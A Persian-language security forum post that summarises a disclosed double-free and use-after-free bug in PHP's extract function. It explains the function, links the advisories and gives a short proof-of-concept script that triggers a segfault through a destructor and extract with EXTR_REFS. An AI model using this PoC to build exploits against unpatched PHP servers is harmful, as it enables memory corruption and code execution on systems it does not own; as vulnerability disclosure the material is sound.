itachi Posted Monday at 06:51 PM Share Posted Monday at 06:51 PM 🔴 آسیب پذیری در تابع extract در PHP: ( https://ssd-disclosure.com/ssd-advisory-extract-double-free5-x-use-after-free7-x-8-x/ ) در نسخه های PHP 5.x تابع extract میتونه منجر به double free بشه. این نوع باگ زمانی رخ میده که یک بلوک حافظه دو بار آزاد بشه که میتونه باعث خرابی برنامه یا اجرای کد مخرب بشه. در نسخههای PHP 7.x ,8.x این تابع میتونه منجر به یک خطای use after free بشه. در این حالت، برنامه به حافظهای که قبلاً آزاد شده دسترسی پیدا میکنه، که میتونه به اجرای کد دلخواه منجر بشه. این آس.یبپذیریها به مهاجم امکان میده که کد مخرب رو (native code) اجرا کنن. شرکت Zend (توسعهدهنده PHP) این مشکل رو برطرف کرده و جزئیاتش رو در یک مشاوره امنیتی در GitHub منتشر کرده. (فعلا بالا نمیاد) ( https://github.com/php/php-src/security/advisories/GHSA-4pwq-3fv3-gm94 ) تابع extract در PHP برای استخراج عناصر یک آرایه بصورت متغیرهای جداگانه استفاده میشه. این تابع کلیدهای آرایه رو بعنوان نام متغیرها و مقادیر آرایه رو بعنوان مقدار اون متغیرها تعریف میکنه. ( https://www.php.net/manual/en/function.extract.php ) <?php $array = [ 'name' => 'Ali', 'age' => 25, 'city' => 'Tabriz' ]; extract($array); echo $name; // Output: Ali echo $age; // Output: 25 echo $city; // Output: Tabriz ?> از این تابع برای استخراج داده ها از آرایه های بازگشتی، قالبها، کار با داده های json یا فرمهای داینامیک که کلیدهای آرایه از قبل مشخص نیست استفاده میشه. نمونه PoC: <?php // // Trigger Segfault // class GetFree { public function __destruct() { unset($GLOBALS["b"]); } } $b = new GetFree(); $array = ["b" => "AB"]; extract($array, EXTR_REFS); // avoid string interning using str_shuffle $var1 = str_shuffle("AAAAAAAAAAAAAAAAAAAAAAAA"); $var2 = 888; $var3 = 999; $var4 = 111; $var5 = [$empty]; sleep(1); 1 Quote Link to comment https://forum.zerodey.ir/topic/78-%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C/ Share on other sites More sharing options...
mrx31 Posted Monday at 07:42 PM Share Posted Monday at 07:42 PM 1 Quote Link to comment https://forum.zerodey.ir/topic/78-%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C/#findComment-116 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.